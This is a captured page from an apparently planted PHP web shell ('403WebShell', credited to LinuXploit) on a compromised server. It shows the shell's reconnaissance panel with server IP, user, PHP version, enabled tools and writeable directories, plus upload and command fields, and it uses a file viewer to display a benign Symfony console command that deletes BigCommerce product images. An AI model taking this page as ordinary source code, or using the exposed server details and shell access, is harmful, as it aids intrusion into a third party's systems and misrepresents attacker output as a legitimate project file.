Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/brainwavemx/app/Console/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/brainwavemx/app/Console/CatalogImageDeleteCommand.php
<?php

declare(strict_types=1);

namespace App\Console;

use App\Controller\Api\ApiController;
use App\DataFile\Data;
use App\DataFile\Files;
use App\Model\ProductosModel;
use Monolog\Handler\StreamHandler;
use Monolog\Logger;
use Mosaico\BigCommerce\BaseApiV3;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class CatalogImageDeleteCommand extends Command
{
    protected function configure(): void
    {
        $this
            ->setName('catalog:image:delete')
            ->setDescription('Delete BigCommerce Product Image')
            ->setHelp('This command allows you to Delete BigCommerce product image');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        new ApiController();
        $imagenesModel = new ProductosModel();
        $imagenes = (object) $imagenesModel->getImagesDelete();

        $data = new Data();
        $env = $data->env();
        $httpMethod = 'DELETE';

        
        if ($imagenes->num_rows > 0) :
            $client = new BaseApiV3();
            foreach ($imagenes->rows as $value) {
                $array = [];
                $output->writeln('Image: ' . $value['id_bigcommerce']);
                    try {
                        $response = $client->api()
                            ->request(
                                $httpMethod,
                                'catalog/products/' . $value['id_producto'] . '/images/' . $value['id_bigcommerce'],
                                [
                                    'headers' => [
                                        'X-Auth-Token' => $client->token(),
                                    ],
                                    'content-type' => 'application/json',
                                    'json' => $array,

                                ]
                            );
                        $body = $response->getBody();
                        $data = json_decode((string) $body, true);
                        //print_r($data);
                        if ($data) {
                              $imagenesModel->updateImageIsDelete(
                                  (int) $value['id_imagen']
                              );
                        }

                        $this->logInfo([
                            'status' => $response->getStatusCode(),
                            'image' => $value['image_path'],
                            'id' => $value['id_bigcommerce'],
                        ]);
                    } catch (\GuzzleHttp\Exception\ClientException $e) {
                        $response = $e->getResponse();
                        $output->writeln((string) $response->getBody());
                        $imagenesModel->updateImageIsDeleteError(
                            (int) $value['id_imagen']
                        );
                    
                    }    
            }
        else:
            $output->writeln('No new images');
        endif;
        return 0;
    }

    public function logError(object $error): void
    {
        $log = new Logger('CreateImagev3');
        $log->pushHandler(new StreamHandler(__DIR__ . '/../../logs/products/error.log', Logger::ERROR));

        $errors = (array) $error->errors;
        $log->error(
            'status: ' . $error->status,
            [
                'title' => $error->title,
                $errors,

            ]
        );
    }

    public function logInfo(array $info)
    {
        $log = new Logger('CreateImagev3');
        $log->pushHandler(new StreamHandler(__DIR__ . '/../../logs/products/info.log', Logger::INFO));

        $log->info(
            'status: ' . $info['status'],
            [
                'Image: ' . $info['image'],
                'BigCommerce ID: ' . $info['id'],
            ]
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit